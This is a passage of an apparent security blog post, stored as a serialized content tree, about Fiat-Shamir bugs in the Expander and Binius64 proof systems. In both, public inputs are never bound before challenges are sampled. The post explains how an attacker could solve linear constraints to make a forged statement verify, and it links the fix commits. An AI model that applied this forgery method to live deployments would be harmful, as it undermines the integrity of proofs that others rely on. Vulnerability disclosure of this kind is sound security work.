"props":125121,"children":125123},{"className":125122},[8074],[125124],{"type":22,"tag":101,"props":125125,"children":125127},{"className":125126},[8079],[125128],{"type":22,"tag":101,"props":125129,"children":125131},{"className":125130,"style":115789},[8084],[125132,125144],{"type":22,"tag":101,"props":125133,"children":125134},{"style":115720},[125135,125139],{"type":22,"tag":101,"props":125136,"children":125138},{"className":125137,"style":115725},[8093],[],{"type":22,"tag":101,"props":125140,"children":125142},{"className":125141,"style":96554},[8053,25575],[125143],{"type":27,"value":97373},{"type":22,"tag":101,"props":125145,"children":125146},{"style":115720},[125147,125151],{"type":22,"tag":101,"props":125148,"children":125150},{"className":125149,"style":115725},[8093],[],{"type":22,"tag":101,"props":125152,"children":125154},{"className":125153,"style":115813},[115743],[125155],{"type":22,"tag":101,"props":125156,"children":125158},{"className":125157,"style":115819},[115818],[125159],{"type":22,"tag":38269,"props":125160,"children":125161},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[125162],{"type":22,"tag":115831,"props":125163,"children":125164},{"d":115833},[],{"type":22,"tag":101,"props":125166,"children":125168},{"className":125167},[25726],[125169],{"type":27,"value":2261},{"type":22,"tag":23,"props":125171,"children":125172},{},[125173,125174,125243,125245,125250,125252,125257],{"type":27,"value":119390},{"type":22,"tag":30,"props":125175,"children":125177},{"className":125176},[8026,8027],[125178],{"type":22,"tag":101,"props":125179,"children":125181},{"className":125180},[8032],[125182],{"type":22,"tag":101,"props":125183,"children":125185},{"className":125184,"ariaHidden":5608},[8037],[125186],{"type":22,"tag":101,"props":125187,"children":125189},{"className":125188},[8042],[125190,125194],{"type":22,"tag":101,"props":125191,"children":125193},{"className":125192,"style":115789},[8047],[],{"type":22,"tag":101,"props":125195,"children":125197},{"className":125196},[8053,115703],[125198],{"type":22,"tag":101,"props":125199,"children":125201},{"className":125200},[8074],[125202],{"type":22,"tag":101,"props":125203,"children":125205},{"className":125204},[8079],[125206],{"type":22,"tag":101,"props":125207,"children":125209},{"className":125208,"style":115789},[8084],[125210,125222],{"type":22,"tag":101,"props":125211,"children":125212},{"style":115720},[125213,125217],{"type":22,"tag":101,"props":125214,"children":125216},{"className":125215,"style":115725},[8093],[],{"type":22,"tag":101,"props":125218,"children":125220},{"className":125219,"style":96554},[8053,25575],[125221],{"type":27,"value":97373},{"type":22,"tag":101,"props":125223,"children":125224},{"style":115720},[125225,125229],{"type":22,"tag":101,"props":125226,"children":125228},{"className":125227,"style":115725},[8093],[],{"type":22,"tag":101,"props":125230,"children":125232},{"className":125231,"style":115813},[115743],[125233],{"type":22,"tag":101,"props":125234,"children":125236},{"className":125235,"style":115819},[115818],[125237],{"type":22,"tag":38269,"props":125238,"children":125239},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[125240],{"type":22,"tag":115831,"props":125241,"children":125242},{"d":115833},[],{"type":27,"value":125244}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":22,"tag":30,"props":125246,"children":125248},{"className":125247},[],[125249],{"type":27,"value":124834},{"type":27,"value":125251},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":22,"tag":30,"props":125253,"children":125255},{"className":125254},[],[125256],{"type":27,"value":124834},{"type":27,"value":125258}," that makes the verifier's check pass.",{"type":22,"tag":23,"props":125260,"children":125261},{},[125262,125266,125268,125275,125276,125279,125286],{"type":22,"tag":9370,"props":125263,"children":125264},{},[125265],{"type":27,"value":120264},{"type":27,"value":125267}," Fixed on 21st January 2026 via ",{"type":22,"tag":80,"props":125269,"children":125272},{"href":125270,"rel":125271},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[84],[125273],{"type":27,"value":125274},"commit 4a8c2be",{"type":27,"value":2169},{"type":22,"tag":34964,"props":125277,"children":125278},{},[],{"type":22,"tag":80,"props":125280,"children":125283},{"href":125281,"rel":125282},"https://blog.polyhedra.network/expander-bug-bounty/",[84],[125284],{"type":27,"value":125285},"Claimed 500k Bug bounty",{"type":27,"value":125287}," award pending",{"type":22,"tag":1398,"props":125289,"children":125290},{},[],{"type":22,"tag":1760,"props":125292,"children":125294},{"id":125293},"binius64",[125295],{"type":27,"value":111397},{"type":22,"tag":23,"props":125297,"children":125298},{},[125299,125301,125428],{"type":27,"value":125300},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":22,"tag":30,"props":125302,"children":125304},{"className":125303},[8026,8027],[125305],{"type":22,"tag":101,"props":125306,"children":125308},{"className":125307},[8032],[125309],{"type":22,"tag":101,"props":125310,"children":125312},{"className":125311,"ariaHidden":5608},[8037],[125313],{"type":22,"tag":101,"props":125314,"children":125316},{"className":125315},[8042],[125317,125322],{"type":22,"tag":101,"props":125318,"children":125321},{"className":125319,"style":125320},[8047],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":22,"tag":101,"props":125323,"children":125325},{"className":125324},[8053],[125326,125333],{"type":22,"tag":101,"props":125327,"children":125330},{"className":125328},[8053,125329],"mathbb",[125331],{"type":27,"value":125332},"F",{"type":22,"tag":101,"props":125334,"children":125336},{"className":125335},[8069],[125337],{"type":22,"tag":101,"props":125338,"children":125340},{"className":125339},[8074,25629],[125341,125416],{"type":22,"tag":101,"props":125342,"children":125344},{"className":125343},[8079],[125345,125411],{"type":22,"tag":101,"props":125346,"children":125348},{"className":125347,"style":115886},[8084],[125349],{"type":22,"tag":101,"props":125350,"children":125352},{"style":125351},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[125353,125357],{"type":22,"tag":101,"props":125354,"children":125356},{"className":125355,"style":8094},[8093],[],{"type":22,"tag":101,"props":125358,"children":125360},{"className":125359},[8099,8100,8101,8102],[125361],{"type":22,"tag":101,"props":125362,"children":125364},{"className":125363},[8053,8102],[125365],{"type":22,"tag":101,"props":125366,"children":125368},{"className":125367},[8053,8102],[125369,125374],{"type":22,"tag":101,"props":125370,"children":125372},{"className":125371},[8053,8102],[125373],{"type":27,"value":7164},{"type":22,"tag":101,"props":125375,"children":125377},{"className":125376},[8069],[125378],{"type":22,"tag":101,"props":125379,"children":125381},{"className":125380},[8074],[125382],{"type":22,"tag":101,"props":125383,"children":125385},{"className":125384},[8079],[125386],{"type":22,"tag":101,"props":125387,"children":125390},{"className":125388,"style":125389},[8084],"height:0.7463em;",[125391],{"type":22,"tag":101,"props":125392,"children":125393},{"style":116011},[125394,125398],{"type":22,"tag":101,"props":125395,"children":125397},{"className":125396,"style":112414},[8093],[],{"type":22,"tag":101,"props":125399,"children":125401},{"className":125400},[8099,112419,112420,8102],[125402],{"type":22,"tag":101,"props":125403,"children":125405},{"className":125404},[8053,8102],[125406],{"type":22,"tag":101,"props":125407,"children":125409},{"className":125408},[8053,8102],[125410],{"type":27,"value":33844},{"type":22,"tag":101,"props":125412,"children":125414},{"className":125413},[25732],[125415],{"type":27,"value":25735},{"type":22,"tag":101,"props":125417,"children":125419},{"className":125418},[8079],[125420],{"type":22,"tag":101,"props":125421,"children":125424},{"className":125422,"style":125423},[8084],"height:0.1776em;",[125425],{"type":22,"tag":101,"props":125426,"children":125427},{},[],{"type":27,"value":125429}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":22,"tag":23,"props":125431,"children":125432},{},[125433,125435,125440],{"type":27,"value":125434},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":22,"tag":9370,"props":125436,"children":125437},{},[125438],{"type":27,"value":125439},"Shift Protocol",{"type":27,"value":125441}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":22,"tag":23,"props":125443,"children":125444},{},[125445],{"type":22,"tag":9370,"props":125446,"children":125447},{},[125448],{"type":27,"value":124866},{"type":22,"tag":23,"props":125450,"children":125451},{},[125452],{"type":27,"value":125453},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":22,"tag":91,"props":125455,"children":125457},{"code":125456,"language":95,"meta":7,"className":93,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[125458],{"type":22,"tag":30,"props":125459,"children":125460},{"__ignoreMap":7},[125461,125496,125521,125555,125563],{"type":22,"tag":101,"props":125462,"children":125463},{"class":103,"line":104},[125464,125468,125472,125476,125480,125484,125488,125492],{"type":22,"tag":101,"props":125465,"children":125466},{"style":108},[125467],{"type":27,"value":17693},{"type":22,"tag":101,"props":125469,"children":125470},{"style":108},[125471],{"type":27,"value":17698},{"type":22,"tag":101,"props":125473,"children":125474},{"style":926},[125475],{"type":27,"value":12176},{"type":22,"tag":101,"props":125477,"children":125478},{"style":120},[125479],{"type":27,"value":123},{"type":22,"tag":101,"props":125481,"children":125482},{"style":114},[125483],{"type":27,"value":125332},{"type":22,"tag":101,"props":125485,"children":125486},{"style":120},[125487],{"type":27,"value":758},{"type":22,"tag":101,"props":125489,"children":125490},{"style":114},[125491],{"type":27,"value":119783},{"type":22,"tag":101,"props":125493,"children":125494},{"style":120},[125495],{"type":27,"value":853},{"type":22,"tag":101,"props":125497,"children":125498},{"class":103,"line":157},[125499,125504,125508,125512,125517],{"type":22,"tag":101,"props":125500,"children":125501},{"style":126},[125502],{"type":27,"value":125503}," constraint_system",{"type":22,"tag":101,"props":125505,"children":125506},{"style":166},[125507],{"type":27,"value":169},{"type":22,"tag":101,"props":125509,"children":125510},{"style":166},[125511],{"type":27,"value":870},{"type":22,"tag":101,"props":125513,"children":125514},{"style":114},[125515],{"type":27,"value":125516},"ConstraintSystem",{"type":22,"tag":101,"props":125518,"children":125519},{"style":120},[125520],{"type":27,"value":179},{"type":22,"tag":101,"props":125522,"children":125523},{"class":103,"line":182},[125524,125528,125532,125536,125540,125545,125550],{"type":22,"tag":101,"props":125525,"children":125526},{"style":126},[125527],{"type":27,"value":11535},{"type":22,"tag":101,"props":125529,"children":125530},{"style":166},[125531],{"type":27,"value":169},{"type":22,"tag":101,"props":125533,"children":125534},{"style":166},[125535],{"type":27,"value":870},{"type":22,"tag":101,"props":125537,"children":125538},{"style":120},[125539],{"type":27,"value":2414},{"type":22,"tag":101,"props":125541,"children":125542},{"style":114},[125543],{"type":27,"value":125544},"Word",{"type":22,"tag":101,"props":125546,"children":125547},{"style":120},[125548],{"type":27,"value":125549},"], ",{"type":22,"tag":101,"props":125551,"children":125552},{"style":2215},[125553],{"type":27,"value":125554},"// \u003C- NEVER ABSORBED\n",{"type":22,"tag":101,"props":125556,"children":125557},{"class":103,"line":367},[125558],{"type":22,"tag":101,"props":125559,"children":125560},{"style":2215},[125561],{"type":27,"value":125562}," // ...\n",{"type":22,"tag":101,"props":125564,"children":125565},{"class":103,"line":398},[125566,125570,125574,125578,125582,125587,125591,125595,125599,125603],{"type":22,"tag":101,"props":125567,"children":125568},{"style":120},[125569],{"type":27,"value":901},{"type":22,"tag":101,"props":125571,"children":125572},{"style":166},[125573],{"type":27,"value":17759},{"type":22,"tag":101,"props":125575,"children":125576},{"style":114},[125577],{"type":27,"value":17764},{"type":22,"tag":101,"props":125579,"children":125580},{"style":120},[125581],{"type":27,"value":123},{"type":22,"tag":101,"props":125583,"children":125584},{"style":114},[125585],{"type":27,"value":125586},"VerifyOutput",{"type":22,"tag":101,"props":125588,"children":125589},{"style":120},[125590],{"type":27,"value":123},{"type":22,"tag":101,"props":125592,"children":125593},{"style":114},[125594],{"type":27,"value":125332},{"type":22,"tag":101,"props":125596,"children":125597},{"style":120},[125598],{"type":27,"value":5555},{"type":22,"tag":101,"props":125600,"children":125601},{"style":114},[125602],{"type":27,"value":41394},{"type":22,"tag":101,"props":125604,"children":125605},{"style":120},[125606],{"type":27,"value":527},{"type":22,"tag":23,"props":125608,"children":125609},{},[125610,125612,125618,125619,125625,125627,125631],{"type":27,"value":125611},"In the shift protocol, challenges ",{"type":22,"tag":30,"props":125613,"children":125615},{"className":125614},[],[125616],{"type":27,"value":125617},"r_j",{"type":27,"value":209},{"type":22,"tag":30,"props":125620,"children":125622},{"className":125621},[],[125623],{"type":27,"value":125624},"inout_eval_point",{"type":27,"value":125626}," are sampled ",{"type":22,"tag":9370,"props":125628,"children":125629},{},[125630],{"type":27,"value":108098},{"type":27,"value":125632}," the public witness is bound.",{"type":22,"tag":23,"props":125634,"children":125635},{},[125636],{"type":22,"tag":9370,"props":125637,"children":125638},{},[125639],{"type":27,"value":118986},{"type":22,"tag":23,"props":125641,"children":125642},{},[125643],{"type":22,"tag":7959,"props":125644,"children":125647},{"alt":125645,"src":125646},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":22,"tag":23,"props":125649,"children":125650},{},[125651],{"type":27,"value":125652},"During verification",{"type":22,"tag":6828,"props":125654,"children":125655},{},[125656,125676,125688,125707],{"type":22,"tag":6832,"props":125657,"children":125658},{},[125659,125661,125666,125668,125674],{"type":27,"value":125660},"Sumcheck produces challenge points ",{"type":22,"tag":30,"props":125662,"children":125664},{"className":125663},[],[125665],{"type":27,"value":125617},{"type":27,"value":125667}," (bit indices) and ",{"type":22,"tag":30,"props":125669,"children":125671},{"className":125670},[],[125672],{"type":27,"value":125673},"r_s",{"type":27,"value":125675}," (shift indices)",{"type":22,"tag":6832,"props":125677,"children":125678},{},[125679,125681,125686],{"type":27,"value":125680},"Verifier samples ",{"type":22,"tag":30,"props":125682,"children":125684},{"className":125683},[],[125685],{"type":27,"value":125624},{"type":27,"value":125687}," from transcript",{"type":22,"tag":6832,"props":125689,"children":125690},{},[125691,125693,125699,125701,125706],{"type":27,"value":125692},"Verifier computes ",{"type":22,"tag":30,"props":125694,"children":125696},{"className":125695},[],[125697],{"type":27,"value":125698},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":27,"value":125700}," using the unbound ",{"type":22,"tag":30,"props":125702,"children":125704},{"className":125703},[],[125705],{"type":27,"value":821},{"type":27,"value":22132},{"type":22,"tag":6832,"props":125708,"children":125709},{},[125710,125711,125717],{"type":27,"value":2007},{"type":22,"tag":30,"props":125712,"children":125714},{"className":125713},[],[125715],{"type":27,"value":125716},"public_eval",{"type":27,"value":125718}," feeds into subsequent verification equations",{"type":22,"tag":23,"props":125720,"children":125721},{},[125722],{"type":27,"value":125723},"The MLE evaluation is linear in the public witness bits:",{"type":22,"tag":23,"props":125725,"children":125726},{},[125727],{"type":22,"tag":30,"props":125728,"children":125730},{"className":125729},[8026,8027],[125731],{"type":22,"tag":101,"props":125732,"children":125734},{"className":125733},[8032],[125735],{"type":22,"tag":101,"props":125736,"children":125738},{"className":125737,"ariaHidden":5608},[8037],[125739,125783,125923,126035],{"type":22,"tag":101,"props":125740,"children":125742},{"className":125741},[8042],[125743,125747,125756,125761,125770,125774,125779],{"type":22,"tag":101,"props":125744,"children":125746},{"className":125745,"style":97967},[8047],[],{"type":22,"tag":101,"props":125748,"children":125750},{"className":125749},[8053,27],[125751],{"type":22,"tag":101,"props":125752,"children":125754},{"className":125753},[8053],[125755],{"type":27,"value":821},{"type":22,"tag":101,"props":125757,"children":125759},{"className":125758,"style":96554},[8053],[125760],{"type":27,"value":6382},{"type":22,"tag":101,"props":125762,"children":125764},{"className":125763},[8053,27],[125765],{"type":22,"tag":101,"props":125766,"children":125768},{"className":125767},[8053],[125769],{"type":27,"value":41544},{"type":22,"tag":101,"props":125771,"children":125773},{"className":125772,"style":8231},[8133],[],{"type":22,"tag":101,"props":125775,"children":125777},{"className":125776},[8236],[125778],{"type":27,"value":1511},{"type":22,"tag":101,"props":125780,"children":125782},{"className":125781,"style":8231},[8133],[],{"type":22,"tag":101,"props":125784,"children":125786},{"className":125785},[8042],[125787,125791,125863,125867,125880,125885,125890,125895,125900,125905,125910,125914,125919],{"type":22,"tag":101,"props":125788,"children":125790},{"className":125789,"style":122316},[8047],[],{"type":22,"tag":101,"props":125792,"children":125794},{"className":125793},[25611],[125795,125800],{"type":22,"tag":101,"props":125796,"children":125798},{"className":125797,"style":25618},[25611,25616,25617],[125799],{"type":27,"value":112349},{"type":22,"tag":101,"props":125801,"children":125803},{"className":125802},[8069],[125804],{"type":22,"tag":101,"props":125805,"children":125807},{"className":125806},[8074,25629],[125808,125852],{"type":22,"tag":101,"props":125809,"children":125811},{"className":125810},[8079],[125812,125847],{"type":22,"tag":101,"props":125813,"children":125815},{"className":125814,"style":117226},[8084],[125816],{"type":22,"tag":101,"props":125817,"children":125818},{"style":25642},[125819,125823],{"type":22,"tag":101,"props":125820,"children":125822},{"className":125821,"style":8094},[8093],[],{"type":22,"tag":101,"props":125824,"children":125826},{"className":125825},[8099,8100,8101,8102],[125827],{"type":22,"tag":101,"props":125828,"children":125830},{"className":125829},[8053,8102],[125831,125837,125842],{"type":22,"tag":101,"props":125832,"children":125835},{"className":125833,"style":125834},[8053,25575,8102],"margin-right:0.02691em;",[125836],{"type":27,"value":53568},{"type":22,"tag":101,"props":125838,"children":125840},{"className":125839},[8165,8102],[125841],{"type":27,"value":8168},{"type":22,"tag":101,"props":125843,"children":125845},{"className":125844},[8053,25575,8102],[125846],{"type":27,"value":7262},{"type":22,"tag":101,"props":125848,"children":125850},{"className":125849},[25732],[125851],{"type":27,"value":25735},{"type":22,"tag":101,"props":125853,"children":125855},{"className":125854},[8079],[125856],{"type":22,"tag":101,"props":125857,"children":125859},{"className":125858,"style":117792},[8084],[125860],{"type":22,"tag":101,"props":125861,"children":125862},{},[],{"type":22,"tag":101,"props":125864,"children":125866},{"className":125865,"style":8172},[8133],[],{"type":22,"tag":101,"props":125868,"children":125870},{"className":125869},[8053],[125871],{"type":22,"tag":101,"props":125872,"children":125874},{"className":125873},[8053,27],[125875],{"type":22,"tag":101,"props":125876,"children":125878},{"className":125877},[8053],[125879],{"type":27,"value":821},{"type":22,"tag":101,"props":125881,"children":125883},{"className":125882},[25704],[125884],{"type":27,"value":2414},{"type":22,"tag":101,"props":125886,"children":125888},{"className":125887,"style":125834},[8053,25575],[125889],{"type":27,"value":53568},{"type":22,"tag":101,"props":125891,"children":125893},{"className":125892},[25726],[125894],{"type":27,"value":19412},{"type":22,"tag":101,"props":125896,"children":125898},{"className":125897},[25704],[125899],{"type":27,"value":2414},{"type":22,"tag":101,"props":125901,"children":125903},{"className":125902},[8053,25575],[125904],{"type":27,"value":7262},{"type":22,"tag":101,"props":125906,"children":125908},{"className":125907},[25726],[125909],{"type":27,"value":19412},{"type":22,"tag":101,"props":125911,"children":125913},{"className":125912,"style":8134},[8133],[],{"type":22,"tag":101,"props":125915,"children":125917},{"className":125916},[8139],[125918],{"type":27,"value":114816},{"type":22,"tag":101,"props":125920,"children":125922},{"className":125921,"style":8134},[8133],[],{"type":22,"tag":101,"props":125924,"children":125926},{"className":125925},[8042],[125927,125932,125941,125946,125951,125956,125960,126017,126022,126026,126031],{"type":22,"tag":101,"props":125928,"children":125931},{"className":125929,"style":125930},[8047],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":22,"tag":101,"props":125933,"children":125935},{"className":125934},[8053,27],[125936],{"type":22,"tag":101,"props":125937,"children":125939},{"className":125938},[8053],[125940],{"type":27,"value":116143},{"type":22,"tag":101,"props":125942,"children":125944},{"className":125943},[25704],[125945],{"type":27,"value":980},{"type":22,"tag":101,"props":125947,"children":125949},{"className":125948},[8053,25575],[125950],{"type":27,"value":7262},{"type":22,"tag":101,"props":125952,"children":125954},{"className":125953},[8165],[125955],{"type":27,"value":8168},{"type":22,"tag":101,"props":125957,"children":125959},{"className":125958,"style":8172},[8133],[],{"type":22,"tag":101,"props":125961,"children":125963},{"className":125962},[8053],[125964,125969],{"type":22,"tag":101,"props":125965,"children":125967},{"className":125966,"style":96554},[8053,25575],[125968],{"type":27,"value":97373},{"type":22,"tag":101,"props":125970,"children":125972},{"className":125971},[8069],[125973],{"type":22,"tag":101,"props":125974,"children":125976},{"className":125975},[8074,25629],[125977,126006],{"type":22,"tag":101,"props":125978,"children":125980},{"className":125979},[8079],[125981,126001],{"type":22,"tag":101,"props":125982,"children":125984},{"className":125983,"style":97083},[8084],[125985],{"type":22,"tag":101,"props":125986,"children":125987},{"style":113553},[125988,125992],{"type":22,"tag":101,"props":125989,"children":125991},{"className":125990,"style":8094},[8093],[],{"type":22,"tag":101,"props":125993,"children":125995},{"className":125994},[8099,8100,8101,8102],[125996],{"type":22,"tag":101,"props":125997,"children":125999},{"className":125998,"style":117777},[8053,25575,8102],[126000],{"type":27,"value":12663},{"type":22,"tag":101,"props":126002,"children":126004},{"className":126003},[25732],[126005],{"type":27,"value":25735},{"type":22,"tag":101,"props":126007,"children":126009},{"className":126008},[8079],[126010],{"type":22,"tag":101,"props":126011,"children":126013},{"className":126012,"style":122464},[8084],[126014],{"type":22,"tag":101,"props":126015,"children":126016},{},[],{"type":22,"tag":101,"props":126018,"children":126020},{"className":126019},[25726],[126021],{"type":27,"value":2261},{"type":22,"tag":101,"props":126023,"children":126025},{"className":126024,"style":8134},[8133],[],{"type":22,"tag":101,"props":126027,"children":126029},{"className":126028},[8139],[126030],{"type":27,"value":114816},{"type":22,"tag":101,"props":126032,"children":126034},{"className":126033,"style":8134},[8133],[],{"type":22,"tag":101,"props":126036,"children":126038},{"className":126037},[8042],[126039,126043,126052,126057,126062,126067,126071,126081,126086,126095,126100,126109],{"type":22,"tag":101,"props":126040,"children":126042},{"className":126041,"style":96496},[8047],[],{"type":22,"tag":101,"props":126044,"children":126046},{"className":126045},[8053,27],[126047],{"type":22,"tag":101,"props":126048,"children":126050},{"className":126049},[8053],[126051],{"type":27,"value":116143},{"type":22,"tag":101,"props":126053,"children":126055},{"className":126054},[25704],[126056],{"type":27,"value":980},{"type":22,"tag":101,"props":126058,"children":126060},{"className":126059,"style":125834},[8053,25575],[126061],{"type":27,"value":53568},{"type":22,"tag":101,"props":126063,"children":126065},{"className":126064},[8165],[126066],{"type":27,"value":8168},{"type":22,"tag":101,"props":126068,"children":126070},{"className":126069,"style":8172},[8133],[],{"type":22,"tag":101,"props":126072,"children":126074},{"className":126073},[8053,27],[126075],{"type":22,"tag":101,"props":126076,"children":126078},{"className":126077},[8053],[126079],{"type":27,"value":126080},"inout",{"type":22,"tag":101,"props":126082,"children":126084},{"className":126083,"style":96554},[8053],[126085],{"type":27,"value":6382},{"type":22,"tag":101,"props":126087,"children":126089},{"className":126088},[8053,27],[126090],{"type":22,"tag":101,"props":126091,"children":126093},{"className":126092},[8053],[126094],{"type":27,"value":41544},{"type":22,"tag":101,"props":126096,"children":126098},{"className":126097,"style":96554},[8053],[126099],{"type":27,"value":6382},{"type":22,"tag":101,"props":126101,"children":126103},{"className":126102},[8053,27],[126104],{"type":22,"tag":101,"props":126105,"children":126107},{"className":126106},[8053],[126108],{"type":27,"value":121339},{"type":22,"tag":101,"props":126110,"children":126112},{"className":126111},[25726],[126113],{"type":27,"value":2261},{"type":22,"tag":23,"props":126115,"children":126116},{},[126117,126119,126124,126126,126199],{"type":27,"value":126118},"With challenges fixed (independent of ",{"type":22,"tag":30,"props":126120,"children":126122},{"className":126121},[],[126123],{"type":27,"value":821},{"type":27,"value":126125},"), an attacker can find an alternate witness ",{"type":22,"tag":30,"props":126127,"children":126129},{"className":126128},[8026,8027],[126130],{"type":22,"tag":101,"props":126131,"children":126133},{"className":126132},[8032],[126134],{"type":22,"tag":101,"props":126135,"children":126137},{"className":126136,"ariaHidden":5608},[8037],[126138],{"type":22,"tag":101,"props":126139,"children":126141},{"className":126140},[8042],[126142,126147],{"type":22,"tag":101,"props":126143,"children":126146},{"className":126144,"style":126145},[8047],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":22,"tag":101,"props":126148,"children":126150},{"className":126149},[8053],[126151,126160],{"type":22,"tag":101,"props":126152,"children":126154},{"className":126153},[8053,27],[126155],{"type":22,"tag":101,"props":126156,"children":126158},{"className":126157},[8053],[126159],{"type":27,"value":821},{"type":22,"tag":101,"props":126161,"children":126163},{"className":126162},[8069],[126164],{"type":22,"tag":101,"props":126165,"children":126167},{"className":126166},[8074],[126168],{"type":22,"tag":101,"props":126169,"children":126171},{"className":126170},[8079],[126172],{"type":22,"tag":101,"props":126173,"children":126176},{"className":126174,"style":126175},[8084],"height:0.8362em;",[126177],{"type":22,"tag":101,"props":126178,"children":126180},{"style":126179},"top:-3.1473em;margin-right:0.05em;",[126181,126185],{"type":22,"tag":101,"props":126182,"children":126184},{"className":126183,"style":8094},[8093],[],{"type":22,"tag":101,"props":126186,"children":126188},{"className":126187},[8099,8100,8101,8102],[126189],{"type":22,"tag":101,"props":126190,"children":126192},{"className":126191},[8053,8102],[126193],{"type":22,"tag":101,"props":126194,"children":126196},{"className":126195},[8053,8102],[126197],{"type":27,"value":126198},"′",{"type":27,"value":126200}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":22,"tag":23,"props":126202,"children":126203},{},[126204,126208,126210],{"type":22,"tag":9370,"props":126205,"children":126206},{},[126207],{"type":27,"value":120264},{"type":27,"value":126209}," Fixed on December 29, 2025 via ",{"type":22,"tag":80,"props":126211,"children":126214},{"href":126212,"rel":126213},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[84],[126215],{"type":27,"value":126216},"commit 86a515f",{"type":22,"tag":1398,"props":126218,"children":126219},{},[],{"type":22,"tag":53,"props":126221,"children":126223},{"id":126222},"why-does-this-keep-happening",[126224],{"type":27,"value":126225},"Why Does This Keep Happening?",{"type":22,"tag":23,"props":126227,"children":126228},{},[126229],{"type":27,"value":126230},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":22,"tag":1760,"props":126232,"children":126234},{"id":126233},"academic-papers-dont-specify-fiat-shamir",[126235],{"type":27,"value":126236},"Academic Papers Don't Specify Fiat-Shamir",{"type":22,"tag":23,"props":126238,"children":126239},{},[126240,126242,126247,126249,126274,126276,126279,126281,126306,126308,126335],{"type":27,"value":126241},"Academic papers usually describe ",{"type":22,"tag":6961,"props":126243,"children":126244},{},[126245],{"type":27,"value":126246},"interactive",{"type":27,"value":126248}," protocols: \"Prover sends ",{"type":22,"tag":30,"props":126250,"children":126252},{"className":126251},[8026,8027],[126253],{"type":22,"tag":101,"props":126254,"children":126256},{"className":126255},[8032],[126257],{"type":22,"tag":101,"props":126258,"children":126260},{"className":126259,"ariaHidden":5608},[8037],[126261],{"type":22,"tag":101,"props":126262,"children":126264},{"className":126263},[8042],[126265,126269],{"type":22,"tag":101,"props":126266,"children":126268},{"className":126267,"style":25570},[8047],[],{"type":22,"tag":101,"props":126270,"children":126272},{"className":126271,"style":26107},[8053,25575],[126273],{"type":27,"value":119783},{"type":27,"value":126275},". Verifier sends",{"type":22,"tag":34964,"props":126277,"children":126278},{},[],{"type":27,"value":126280},"random ",{"type":22,"tag":30,"props":126282,"children":126284},{"className":126283},[8026,8027],[126285],{"type":22,"tag":101,"props":126286,"children":126288},{"className":126287},[8032],[126289],{"type":22,"tag":101,"props":126290,"children":126292},{"className":126291,"ariaHidden":5608},[8037],[126293],{"type":22,"tag":101,"props":126294,"children":126296},{"className":126295},[8042],[126297,126301],{"type":22,"tag":101,"props":126298,"children":126300},{"className":126299,"style":114395},[8047],[],{"type":22,"tag":101,"props":126302,"children":126304},{"className":126303,"style":96554},[8053,25575],[126305],{"type":27,"value":97373},{"type":27,"value":126307},". Prover sends ",{"type":22,"tag":30,"props":126309,"children":126311},{"className":126310},[8026,8027],[126312],{"type":22,"tag":101,"props":126313,"children":126315},{"className":126314},[8032],[126316],{"type":22,"tag":101,"props":126317,"children":126319},{"className":126318,"ariaHidden":5608},[8037],[126320],{"type":22,"tag":101,"props":126321,"children":126323},{"className":126322},[8042],[126324,126328],{"type":22,"tag":101,"props":126325,"children":126327},{"className":126326,"style":25570},[8047],[],{"type":22,"tag":101,"props":126329,"children":126332},{"className":126330,"style":126331},[8053,25575],"margin-right:0.00773em;",[126333],{"type":27,"value":126334},"R",{"type":27,"value":126336},".\"",{"type":22,"tag":23,"props":126338,"children":126339},{},[126340,126342,126367,126369,126394],{"type":27,"value":126341},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":22,"tag":30,"props":126343,"children":126345},{"className":126344},[8026,8027],[126346],{"type":22,"tag":101,"props":126347,"children":126349},{"className":126348},[8032],[126350],{"type":22,"tag":101,"props":126351,"children":126353},{"className":126352,"ariaHidden":5608},[8037],[126354],{"type":22,"tag":101,"props":126355,"children":126357},{"className":126356},[8042],[126358,126362],{"type":22,"tag":101,"props":126359,"children":126361},{"className":126360,"style":25570},[8047],[],{"type":22,"tag":101,"props":126363,"children":126365},{"className":126364,"style":26107},[8053,25575],[126366],{"type":27,"value":119783},{"type":27,"value":126368}," before sampling ",{"type":22,"tag":30,"props":126370,"children":126372},{"className":126371},[8026,8027],[126373],{"type":22,"tag":101,"props":126374,"children":126376},{"className":126375},[8032],[126377],{"type":22,"tag":101,"props":126378,"children":126380},{"className":126379,"ariaHidden":5608},[8037],[126381],{"type":22,"tag":101,"props":126382,"children":126384},{"className":126383},[8042],[126385,126389],{"type":22,"tag":101,"props":126386,"children":126388},{"className":126387,"style":114395},[8047],[],{"type":22,"tag":101,"props":126390,"children":126392},{"className":126391,"style":96554},[8053,25575],[126393],{"type":27,"value":97373},{"type":27,"value":126395},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":22,"tag":23,"props":126397,"children":126398},{},[126399],{"type":27,"value":126400},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, 